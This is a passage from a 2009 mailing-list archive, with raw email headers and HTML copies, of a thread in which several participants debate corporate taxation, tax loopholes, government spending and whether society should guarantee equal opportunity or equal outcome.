prices? hell no. >> >> also, tax loopholes for corporations ... >> >> http://uprisingradio.org/home/?p=3D7210 >> >> an article that estimates "loopholes and havens" are costing the gov >> 100 billion a year in corporate tax. >> >> heres income currently based on the goverments own numbers , numbers >> in millions of dollars. >> 2008, private income tax. 1,163,472 >> corporate income tax 370,243 >> >> whos paying the most? ohh, and all that spending, does it go straight >> to people? no, most of it goes to businesses in the form of grants. >> the military budget is immense, and who gets that money? halliburton >> and defense contractors. >> >> Many people will point out that health and human services is as big a >> piece of the pie. But thats mostly social security, paid for by >> social security insurance payments and medicare paid for by medicare >> payments on payrolls, seperate of the straight income tax. Thats paid >> half and half by companies and the employees, except for self >> employed. the numbers (again in millions) of receipts? 869,607 >> >> these numbers from this link, btw. >> http://www.gpoaccess.gov/usbudget/fy09/hist.html >> >> On Sun, May 31, 2009 at 9:28 PM, Charles HOPE >> wrote: >> > Your taxes aren't high because of corporate tax breaks but the myriad >> > services government is expected to provide. Our domestic spending is >> > ridiculous, and we are paying for 700 foreign army bases in 130 >> > countries. >> > If corporations were taxed, it would do nothing raise prices for >> > consumers. >> > >> > >> > >> > >> > On Sun, May 31, 2009 at 2:39 AM, leaking pen wrot= e: >> >> >> >> Except that teh companies are getting that money FROM the government. >> >> Its the same money. if companies werent getting these exorbitant >> >> bonueses and kickbacks and breaks, income tax wouldn't be as high. as >> >> for tax amount, i would LOVE if my taxes were 50 percent. To even >> >> reach that point, it would mean, after taxes, i was taking home about >> >> 10 times what i do now. >> >> >> >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE >> >> wrote: >> >> > Is it really possible that employers extract more than the governme= nt >> >> > does? >> >> > If the accounting is performed, I'm sure you'll find employer >> >> > extraction >> >> > of >> >> > surplus (even in a zero-sum system) much less than the ~50% extract= ed >> >> > by >> >> > government in direct taxes and indirect inflation. Government is th= e >> >> > super-exploiter. >> >> > >> >> > >> >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen >> >> > wrote: >> >> >> >> >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> >> >> >> >> How is it not? Employers, the big ones, get corporate tax breaks, >> >> >> government kickbacks for building and bringing in jobs and "boosti= ng >> >> >> the economy". Roads that are mostly used and used up by freight >> >> >> trucks are paid for and repaired by funds that come from the avera= ge >> >> >> citizen, especially taxes on gasoline (which, being a business mak= es >> >> >> you immune to such taxes). Large companies get a po box in the >> >> >> caymans that protects them from additional tax. How is large scal= e >> >> >> employers, making billions in profit a yeah, basically cheating th= e >> >> >> system to not pay taxes on money they would never have made withou= t >> >> >> the governments help in the first place, and that cost then being >> >> >> passed on to the rest of us, NOT exploitation by the employer? >> >> >> >> >> >> and thats before we talk about companies like walmart, that make >> >> >> sure >> >> >> most of their employees are just part time enough to never get >> >> >> benefits, but then hire a person to help their employees enroll in >> >> >> medicaid, rather than having medical insurance plans available... >> >> >> >> >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: >> >> >> > When you have equality of opportunity, some will act on the >> >> >> > opportunity >> >> >> > and >> >> >> > some will not. The industrious will prosper more than the lazy. >> >> >> > Some >> >> >> > on >> >> >> > this forum will say that the resulting disparity in wealth is >> >> >> > unfair, >> >> >> > and >> >> >> > that the wealth of the industrious individuals must be taken and >> >> >> > given >> >> >> > to >> >> >> > those who have less. This process is a move toward equalizing >> >> >> > outcome, >> >> >> > and >> >> >> > is embodied by the graduated income tax system, where achievers >> >> >> > are >> >> >> > liberated of their achievement at an ever higher percentage base= d >> >> >> > on >> >> >> > their >> >> >> > success. >> >> >> > >> >> >> > Some of the needy truly need help, but many are merely milking t= he >> >> >> > system. >> >> >> > >> >> >> > Where is freedom if hard working people are looted to give free >> >> >> > rides >> >> >> > to >> >> >> > slackers. We hear the Marxist axiom "From him according to his >> >> >> > ability >> >> >> > to >> >> >> > him according to his need." How much can you bleed the workers >> >> >> > with >> >> >> > taxes >> >> >> > before they revolt. The US worker is not unhappy about the size >> >> >> > of >> >> >> > his >> >> >> > paycheck as much as he is unhappy about how little of it he is >> >> >> > allowed >> >> >> > to >> >> >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> >> > >> >> >> > If we are truly free, some people will outperform others. If we >> >> >> > are >> >> >> > forced >> >> >> > to be equal (equal pay for unequal effort), nobody gets ahead, w= e >> >> >> > all >> >> >> > give >> >> >> > up trying. The result is not sharing the wealth, but equally >> >> >> > sharing >> >> >> > the >> >> >> > misery. >> >> >> > >> >> >> > In a planned economy, who gets to do the planning? Who does all >> >> >> > the >> >> >> > work? >> >> >> > It has always been and always will be the case that the quality = of >> >> >> > life >> >> >> > of >> >> >> > the planners will be far better than the life of the planee. >> >> >> > There >> >> >> > will >> >> >> > be >> >> >> > no equality between these two groups. Central planning means >> >> >> > micro >> >> >> > managing, which is inefficient, error prone, and ultimately >> >> >> > punishes >> >> >> > achievers. >> >> >> > >> >> >> > Jeff. >> >> >> > >> >> >> > -----Original Message----- >> >> >> > From: leaking pen [mailto:itsatrap@gmail.com] >> >> >> > Sent: Thursday, May 28, 2009 4:59 PM >> >> >> > To: vortexb-l@eskimo.com >> >> >> > Subject: Re: [VoB]:freedom and/or equality >> >> >> > >> >> >> > No, as all rights automatically include a duty with them. If >> >> >> > everyone >> >> >> > has the right to free speech, then everyone automatically has a >> >> >> > duty >> >> >> > to protect and not infringe anothers free speech. Ethics 101 my >> >> >> > man. >> >> >> > >> >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrot= e: >> >> >> >> The only thing I see as the difference after checking my >> >> >> >> dictionary >> >> >> >> is >> >> >> > that >> >> >> >> an opportunity is a chance whereas a liberty is supposed to be = a >> >> >> >> right. >> >> >> > As >> >> >> >> rights go, what we have on paper and what we have in actuality = is >> >> >> >> not >> >> >> >> necessarily the same. >> >> >> >> >> >> >> >> Have you considered the possibility that freedom and equality a= re >> >> >> >> mutually >> >> >> >> exclusive concepts. >> >> >> >> >> >> >> >> Jeff >> >> >> >> >> >> >> >> -----Original Message----- >> >> >> >> From: leaking pen [mailto:itsatrap@gmail.com] >> >> >> >> Sent: Thursday, May 28, 2009 1:19 PM >> >> >> >> To: vortexb-l@eskimo.com >> >> >> >> Subject: Re: [VoB]:freedom and/or equality >> >> >> >> >> >> >> >> This. I fail to see a difference. >> >> >> >> >> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink >> >> >> >> wrote: >> >> >> >>> What is the difference between opportunity and liberty in your >> >> >> >>> opinion? >> >> >> >>> >> >> >> >>> Jeff >> >> >> >>> >> >> >> >>> -----Original Message----- >> >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] >> >> >> >>> Sent: Thursday, May 28, 2009 12:16 PM >> >> >> >>> To: vortexb-l@eskimo.com >> >> >> >>> Subject: Re: [VoB]:freedom and/or equality >> >> >> >>> >> >> >> >>> neither. >> >> >> >>> I prefer equal liberty. >> >> >> >>> >> >> >> >>> Harry >> >> >> >>> >> >> >> >>> ----- Original Message ----- >> >> >> >>> From: Jeff Fink >> >> >> >>> Date: Thursday, May 28, 2009 11:31 am >> >> >> >>> Subject: [VoB]:freedom and/or equality >> >> >> >>> >> >> >> >>>> Would you prefer to live in a society that guarantees equal >> >> >> >>>> opportunity, or >> >> >> >>>> one that guarantees equal outcome? >> >> >> >>>> >> >> >> >>>> >> >> >> >>>> >> >> >> >>>> Jeff >> >> >> >>>> >> >> >> >>>> >> >> >> >>> >> >> >> >>> >> >> >> >>> >> >> >> >>> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > >> >> >> > >> >> >> > >> >> >> > >> >> >> >> >> > >> >> > >> >> > >> >> > -- >> >> > Never did I see a second sun >> >> > Never did my skin touch a land of glass >> >> > Never did my rifle point but true >> >> > But in a land empty of enemies >> >> > Waiting for the tick-tick-tick of the want >> >> > A uranium angel >> >> > Crying =93behold,=94 >> >> > This land that knew fire is yours >> >> > Taken from Corruption >> >> > To begin anew >> >> > >> >> >> > >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the tick-tick-tick of the want >> > A uranium angel >> > Crying =93behold,=94 >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Mon Jun 1 18:54:21 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n521s6Yt017789; Mon, 1 Jun 2009 18:54:06 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n521s5G4017781; Mon, 1 Jun 2009 18:54:05 -0700 Resent-Date: Mon, 1 Jun 2009 18:54:05 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <298e62298947.298947298e62@ncf.ca> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> Subject: RE: [VoB]:freedom and/or equality Date: Mon, 1 Jun 2009 21:53:58 -0400 Message-ID: <05772E9D798D4D4F9D4CC2014732FD32@REVTEC1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_022E_01C9E303.77DABA00" X-Mailer: Microsoft Office Outlook 11 In-Reply-To: <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnjF8Gvj+2gXBmwRn2aPpMLEjCdSwAC76VQ Resent-Message-ID: <7TUH8C.A.qVE.9YIJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4288 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 530 This is a multi-part message in MIME format. ------=_NextPart_000_022E_01C9E303.77DABA00 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The late Paul Harvey used to say, "Corporations don't pay taxes, people pay taxes." Corporations pass the tax load through to the customers with price increases, and the profit level stays about the same. Thus, customers pay the corporate tax burden. This is great for the government tax revenues, because when stupid people say "go tax those rich corporations", they are really taxing themselves, and they don't even know it. Slick politicians say they are looking out for us by going to go after big business, and the public buys that line every time. Jeff _____ From: Charles HOPE [mailto:lookslikeiwasright@gmail.com] Sent: Monday, June 01, 2009 8:18 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality What do you think happens to corporate profits? On Mon, Jun 1, 2009 at 1:57 AM, leaking pen wrote: most of those services TO corporations. No, costs wont rise much, profits at the corporate level will go down. When a company saves 100 million by getting the goverment to pay for their new facility, do you think it comes off of prices? hell no. also, tax loopholes for corporations ... http://uprisingradio.org/home/?p=7210 an article that estimates "loopholes and havens" are costing the gov 100 billion a year in corporate tax. heres income currently based on the goverments own numbers , numbers in millions of dollars. 2008, private income tax. 1,163,472 corporate income tax 370,243 whos paying the most? ohh, and all that spending, does it go straight to people? no, most of it goes to businesses in the form of grants. the military budget is immense, and who gets that money? halliburton and defense contractors. Many people will point out that health and human services is as big a piece of the pie. But thats mostly social security, paid for by social security insurance payments and medicare paid for by medicare payments on payrolls, seperate of the straight income tax. Thats paid half and half by companies and the employees, except for self employed. the numbers (again in millions) of receipts? 869,607 these numbers from this link, btw. http://www.gpoaccess.gov/usbudget/fy09/hist.html On Sun, May 31, 2009 at 9:28 PM, Charles HOPE wrote: > Your taxes aren't high because of corporate tax breaks but the myriad > services government is expected to provide. Our domestic spending is > ridiculous, and we are paying for 700 foreign army bases in 130 countries. > If corporations were taxed, it would do nothing raise prices for consumers. > > > > > On Sun, May 31, 2009 at 2:39 AM, leaking pen wrote: >> >> Except that teh companies are getting that money FROM the government. >> Its the same money. if companies werent getting these exorbitant >> bonueses and kickbacks and breaks, income tax wouldn't be as high. as >> for tax amount, i would LOVE if my taxes were 50 percent. To even >> reach that point, it would mean, after taxes, i was taking home about >> 10 times what i do now. >> >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE >> wrote: >> > Is it really possible that employers extract more than the government >> > does? >> > If the accounting is performed, I'm sure you'll find employer extraction >> > of >> > surplus (even in a zero-sum system) much less than the ~50% extracted by >> > government in direct taxes and indirect inflation. Government is the >> > super-exploiter. >> > >> > >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen >> > wrote: >> >> >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> >> >> How is it not? Employers, the big ones, get corporate tax breaks, >> >> government kickbacks for building and bringing in jobs and "boosting >> >> the economy". Roads that are mostly used and used up by freight >> >> trucks are paid for and repaired by funds that come from the average >> >> citizen, especially taxes on gasoline (which, being a business makes >> >> you immune to such taxes). Large companies get a po box in the >> >> caymans that protects them from additional tax. How is large scale >> >> employers, making billions in profit a yeah, basically cheating the >> >> system to not pay taxes on money they would never have made without >> >> the governments help in the first place, and that cost then being >> >> passed on to the rest of us, NOT exploitation by the employer? >> >> >> >> and thats before we talk about companies like walmart, that make sure >> >> most of their employees are just part time enough to never get >> >> benefits, but then hire a person to help their employees enroll in >> >> medicaid, rather than having medical insurance plans available... >> >> >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: >> >> > When you have equality of opportunity, some will act on the >> >> > opportunity >> >> > and >> >> > some will not. The industrious will prosper more than the lazy. >> >> > Some >> >> > on >> >> > this forum will say that the resulting disparity in wealth is unfair, >> >> > and >> >> > that the wealth of the industrious individuals must be taken and >> >> > given >> >> > to >> >> > those who have less. This process is a move toward equalizing >> >> > outcome, >> >> > and >> >> > is embodied by the graduated income tax system, where achievers are >> >> > liberated of their achievement at an ever higher percentage based on >> >> > their >> >> > success. >> >> > >> >> > Some of the needy truly need help, but many are merely milking the >> >> > system. >> >> > >> >> > Where is freedom if hard working people are looted to give free rides >> >> > to >> >> > slackers. We hear the Marxist axiom "From him according to his >> >> > ability >> >> > to >> >> > him according to his need." How much can you bleed the workers with >> >> > taxes >> >> > before they revolt. The US worker is not unhappy about the size of >> >> > his >> >> > paycheck as much as he is unhappy about how little of it he is >> >> > allowed >> >> > to >> >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> > >> >> > If we are truly free, some people will outperform others. If we are >> >> > forced >> >> > to be equal (equal pay for unequal effort), nobody gets ahead, we all >> >> > give >> >> > up trying. The result is not sharing the wealth, but equally sharing >> >> > the >> >> > misery. >> >> > >> >> > In a planned economy, who gets to do the planning? Who does all the >> >> > work? >> >> > It has always been and always will be the case that the quality of >> >> > life >> >> > of >> >> > the planners will be far better than the life of the planee. There >> >> > will >> >> > be >> >> > no equality between these two groups. Central planning means micro >> >> > managing, which is inefficient, error prone, and ultimately punishes >> >> > achievers. >> >> > >> >> > Jeff. >> >> > >> >> > -----Original Message----- >> >> > From: leaking pen [mailto:itsatrap@gmail.com] >> >> > Sent: Thursday, May 28, 2009 4:59 PM >> >> > To: vortexb-l@eskimo.com >> >> > Subject: Re: [VoB]:freedom and/or equality >> >> > >> >> > No, as all rights automatically include a duty with them. If >> >> > everyone >> >> > has the right to free speech, then everyone automatically has a duty >> >> > to protect and not infringe anothers free speech. Ethics 101 my man. >> >> > >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: >> >> >> The only thing I see as the difference after checking my dictionary >> >> >> is >> >> > that >> >> >> an opportunity is a chance whereas a liberty is supposed to be a >> >> >> right. >> >> > As >> >> >> rights go, what we have on paper and what we have in actuality is >> >> >> not >> >> >> necessarily the same. >> >> >> >> >> >> Have you considered the possibility that freedom and equality are >> >> >> mutually >> >> >> exclusive concepts. >> >> >> >> >> >> Jeff >> >> >> >> >> >> -----Original Message----- >> >> >> From: leaking pen [mailto:itsatrap@gmail.com] >> >> >> Sent: Thursday, May 28, 2009 1:19 PM >> >> >> To: vortexb-l@eskimo.com >> >> >> Subject: Re: [VoB]:freedom and/or equality >> >> >> >> >> >> This. I fail to see a difference. >> >> >> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: >> >> >>> What is the difference between opportunity and liberty in your >> >> >>> opinion? >> >> >>> >> >> >>> Jeff >> >> >>> >> >> >>> -----Original Message----- >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] >> >> >>> Sent: Thursday, May 28, 2009 12:16 PM >> >> >>> To: vortexb-l@eskimo.com >> >> >>> Subject: Re: [VoB]:freedom and/or equality >> >> >>> >> >> >>> neither. >> >> >>> I prefer equal liberty. >> >> >>> >> >> >>> Harry >> >> >>> >> >> >>> ----- Original Message ----- >> >> >>> From: Jeff Fink >> >> >>> Date: Thursday, May 28, 2009 11:31 am >> >> >>> Subject: [VoB]:freedom and/or equality >> >> >>> >> >> >>>> Would you prefer to live in a society that guarantees equal >> >> >>>> opportunity, or >> >> >>>> one that guarantees equal outcome? >> >> >>>> >> >> >>>> >> >> >>>> >> >> >>>> Jeff >> >> >>>> >> >> >>>> >> >> >>> >> >> >>> >> >> >>> >> >> >>> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > >> >> > >> >> > >> >> > >> >> >> > >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the tick-tick-tick of the want >> > A uranium angel >> > Crying "behold," >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying "behold," > This land that knew fire is yours > Taken from Corruption > To begin anew > -- Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying "behold," This land that knew fire is yours Taken from Corruption To begin anew ------=_NextPart_000_022E_01C9E303.77DABA00 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

The late Paul Harvey used to say, = “Corporations don’t pay taxes, people pay taxes.”  Corporations pass = the tax load through to the customers with price increases, and the profit level = stays about the same.  Thus, customers pay the corporate tax = burden.  This is great for the government tax revenues, because when stupid people say = “go tax those rich corporations”, they are really taxing themselves, = and they don’t even know it.  Slick politicians say they are looking = out for us by going to go after big business, and the public buys that line = every time.

 

Jeff

 

From: = Charles HOPE [mailto:lookslikeiwasright@gmail.com]
Sent: Monday, June 01, = 2009 8:18 PM
To: vortexb-l@eskimo.com
Subject: Re: = [VoB]:freedom and/or equality

 

What do you = think happens to corporate profits?

On Mon, Jun 1, 2009 at 1:57 AM, leaking pen <itsatrap@gmail.com> = wrote:

most of those services TO corporations.

No, costs wont rise much, profits at the corporate level will go = down.
 When a company saves 100 million by getting the goverment to pay = for
their new facility, do you think it comes off of prices?  hell = no.

also, tax loopholes for corporations ...

http://uprisingradio.org/home/?p=3D7210

an article that estimates "loopholes and havens" are costing = the gov
100 billion a year in corporate tax.

heres income currently based on the goverments own numbers , numbers
in millions of dollars.
2008, private income tax.   1,163,472
corporate income tax  370,243

whos paying the most?  ohh, and all that spending, does it go = straight
to people?  no, most of it goes to businesses in the form of = grants.
the military budget is immense, and who gets that money? =  halliburton
and defense contractors.

Many people will point out that health and human services is as big = a
piece of the pie.  But thats mostly social security, paid for = by
social security insurance payments and medicare paid for by medicare
payments on payrolls, seperate of the straight income tax.  Thats = paid
half and half by companies and the employees, except for self
employed.  the numbers (again in millions) of receipts? =  869,607

these numbers from this link, btw.
http://www.gpoaccess.gov/usbudget/fy09/hist.html
On Sun, May 31, 2009 at 9:28 PM, Charles = HOPE

<lookslikeiwasright@gmail.com= > wrote:
> Your taxes aren't high because of corporate tax breaks but the = myriad
> services government is expected to provide. Our domestic spending = is
> ridiculous, and we are paying for 700 foreign army bases in 130 = countries.
> If corporations were taxed, it would do nothing raise prices for consumers.
>
>
>
>
> On Sun, May 31, 2009 at 2:39 AM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> Except that teh companies are getting that money FROM the = government.
>> Its the same money. if companies werent getting these = exorbitant
>> bonueses and kickbacks and breaks, income tax wouldn't be as = high. as
>> for tax amount, i would LOVE if my taxes were 50 percent. =  To even
>> reach that point, it would mean, after taxes, i was taking home = about
>> 10 times what i do now.
>>
>> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE
>> <lookslikeiwasright@gmail.com= > wrote:
>> > Is it really possible that employers extract more than the government
>> > does?
>> > If the accounting is performed, I'm sure you'll find = employer extraction
>> > of
>> > surplus (even in a zero-sum system) much less than the = ~50% extracted by
>> > government in direct taxes and indirect inflation. = Government is the
>> > super-exploiter.
>> >
>> >
>> > On Fri, May 29, 2009 at 10:23 AM, leaking pen <itsatrap@gmail.com>
>> > wrote:
>> >>
>> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!
>> >>
>> >> How is it not?  Employers, the big ones, get = corporate tax breaks,
>> >> government kickbacks for building and bringing in jobs = and "boosting
>> >> the economy".  Roads that are mostly used = and used up by freight
>> >> trucks are paid for and repaired by funds that come = from the average
>> >> citizen, especially taxes on gasoline (which, being a business makes
>> >> you immune to such taxes).  Large companies get a = po box in the
>> >> caymans that protects them from additional tax. =  How is large scale
>> >> employers, making billions in profit a yeah, basically cheating the
>> >> system to not pay taxes on money they would never have = made without
>> >> the governments help in the first place, and that cost = then being
>> >> passed on to the rest of us, NOT exploitation by the employer?
>> >>
>> >> and thats before we talk about companies like walmart, = that make sure
>> >> most of their employees are just part time enough to = never get
>> >> benefits, but then hire a person to help their = employees enroll in
>> >> medicaid, rather than having medical insurance plans available...
>> >>
>> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink <revtec@ptd.net> wrote:
>> >> > When you have equality of opportunity, some will = act on the
>> >> > opportunity
>> >> > and
>> >> > some will not.  The industrious will prosper = more than the lazy.
>> >> >  Some
>> >> > on
>> >> > this forum will say that the resulting disparity = in wealth is unfair,
>> >> > and
>> >> > that the wealth of the industrious individuals = must be taken and
>> >> > given
>> >> > to
>> >> > those who have less.  This process is a move = toward equalizing
>> >> > outcome,
>> >> > and
>> >> > is embodied by the graduated income tax system, = where achievers are
>> >> > liberated of their achievement at an ever higher percentage based on
>> >> > their
>> >> > success.
>> >> >
>> >> > Some of the needy truly need help, but many are = merely milking the
>> >> > system.
>> >> >
>> >> > Where is freedom if hard working people are = looted to give free rides
>> >> > to
>> >> > slackers.  We hear the Marxist axiom = "From him according to his
>> >> > ability
>> >> > to
>> >> > him according to his need." How much can you = bleed the workers with
>> >> > taxes
>> >> > before they revolt.  The US worker is not unhappy = about the size of
>> >> > his
>> >> > paycheck as much as he is unhappy about how = little of it he is
>> >> > allowed
>> >> > to
>> >> > keep.  THE PROBLEM IS NOT EXPLOITATION BY = THE EMPLOYER!
>> >> >
>> >> > If we are truly free, some people will outperform others.  If we are
>> >> > forced
>> >> > to be equal (equal pay for unequal effort), = nobody gets ahead, we all
>> >> > give
>> >> > up trying.  The result is not sharing the = wealth, but equally sharing
>> >> > the
>> >> > misery.
>> >> >
>> >> > In a planned economy, who gets to do the = planning?  Who does all the
>> >> > work?
>> >> > It has always been and always will be the case = that the quality of
>> >> > life
>> >> > of
>> >> > the planners will be far better than the life of = the planee.  There
>> >> > will
>> >> > be
>> >> > no equality between these two groups. =  Central planning means micro
>> >> > managing, which is inefficient, error prone, and ultimately punishes
>> >> > achievers.
>> >> >
>> >> > Jeff.
>> >> >
>> >> > -----Original Message-----
>> >> > From: leaking pen [mailto:itsatrap@gmail.com]
>> >> > Sent: Thursday, May 28, 2009 4:59 PM
>> >> > To: vortexb-l@eskimo.com
>> >> > Subject: Re: [VoB]:freedom and/or equality
>> >> >
>> >> > No, as all rights automatically include a duty = with them.  If
>> >> > everyone
>> >> > has the right to free speech, then everyone automatically has a duty
>> >> > to protect and not infringe anothers free speech.  Ethics 101 my man.
>> >> >
>> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink <revtec@ptd.net> wrote:
>> >> >> The only thing I see as the difference after checking my dictionary
>> >> >> is
>> >> > that
>> >> >> an opportunity is a chance whereas a liberty = is supposed to be a
>> >> >> right.
>> >> >  As
>> >> >> rights go, what we have on paper and what we = have in actuality is
>> >> >> not
>> >> >> necessarily the same.
>> >> >>
>> >> >> Have you considered the possibility that = freedom and equality are
>> >> >> mutually
>> >> >> exclusive concepts.
>> >> >>
>> >> >> Jeff
>> >> >>
>> >> >> -----Original Message-----
>> >> >> From: leaking pen [mailto:itsatrap@gmail.com]
>> >> >> Sent: Thursday, May 28, 2009 1:19 PM
>> >> >> To: vortexb-l@eskimo.com
>> >> >> Subject: Re: [VoB]:freedom and/or = equality
>> >> >>
>> >> >> This.  I fail to see a difference.
>> >> >>
>> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink = <revtec@ptd.net> wrote:
>> >> >>> What is the difference between = opportunity and liberty in your
>> >> >>> opinion?
>> >> >>>
>> >> >>> Jeff
>> >> >>>
>> >> >>> -----Original Message-----
>> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca]
>> >> >>> Sent: Thursday, May 28, 2009 12:16 PM
>> >> >>> To: vortexb-l@eskimo.com
>> >> >>> Subject: Re: [VoB]:freedom and/or = equality
>> >> >>>
>> >> >>> neither.
>> >> >>> I prefer equal liberty.
>> >> >>>
>> >> >>> Harry
>> >> >>>
>> >> >>> ----- Original Message -----
>> >> >>> From: Jeff Fink <revtec@ptd.net>
>> >> >>> Date: Thursday, May 28, 2009 11:31 am
>> >> >>> Subject: [VoB]:freedom and/or = equality
>> >> >>>
>> >> >>>> Would you prefer to live in a society = that guarantees equal
>> >> >>>> opportunity, or
>> >> >>>> one that guarantees equal = outcome?
>> >> >>>>
>> >> >>>>
>> >> >>>>
>> >> >>>> Jeff
>> >> >>>>
>> >> >>>>
>> >> >>>
>> >> >>>
>> >> >>>
>> >> >>>
>> >> >>
>> >> >>
>> >> >>
>> >> >>
>> >> >
>> >> >
>> >> >
>> >> >
>> >>
>> >
>> >
>> >
>> > --
>> > Never did I see a second sun
>> > Never did my skin touch a land of glass
>> > Never did my rifle point but true
>> > But in a land empty of enemies
>> > Waiting for the tick-tick-tick of the want
>> > A uranium angel
>> > Crying “behold,”
>> > This land that knew fire is yours
>> > Taken from Corruption
>> > To begin anew
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying “behold,”
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I see a second sun
Never did my skin touch a land of glass
Never did my rifle point but true
But in a land empty of enemies
Waiting for the tick-tick-tick of the want
A uranium angel
Crying “behold,”
This land that knew fire is yours
Taken from Corruption
To begin anew

------=_NextPart_000_022E_01C9E303.77DABA00-- From vortexb-l-request@eskimo.com Mon Jun 1 18:56:15 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n521u9Kl012687; Mon, 1 Jun 2009 18:56:09 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n521u8Qt012675; Mon, 1 Jun 2009 18:56:08 -0700 Resent-Date: Mon, 1 Jun 2009 18:56:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=swbw4zJSTFe+GGGfROWd29MLuXf0HbPCMlJU7ATlDQc=; b=be4sflVfSA/GK+o7ORFzFKUt9Zc2GkNXFnt95NDYX75uXt/hGEXsvndJ520V1KRigX KJtR5YVsmDaX+pUyQGMaRgE6SxkhFPlJyIMjRezyAQT72ym1URn9wpZTjBNtRCURfwrq k6X4vAT8/obCK+Sli6A6Rp2/bogy8e0jP+u8E= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=rTq3rLve+zFMcVFD+EqJdczHWCjNfx7tf9xgigrep0SFe493wvqA/KxrSVlYh5UMmB VnSVMtyS299uNSrWXlL/aQEM1pMJkeihUm0n+KGr4Vx78YYxCQelLGgm3XbAvLM4kfgs bveoxprZFqVZoqUJkJbZvzHY0Ocie7DCrysAM= MIME-Version: 1.0 In-Reply-To: References: <298e62298947.298947298e62@ncf.ca> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> From: Charles HOPE Date: Mon, 1 Jun 2009 21:55:47 -0400 Message-ID: <63ffa6020906011855u47bac38dxc4b30012b3f144f5@mail.gmail.com> Subject: Re: [VoB]:freedom and/or equality To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c1d94982cb0046b53d8af Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4289 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: 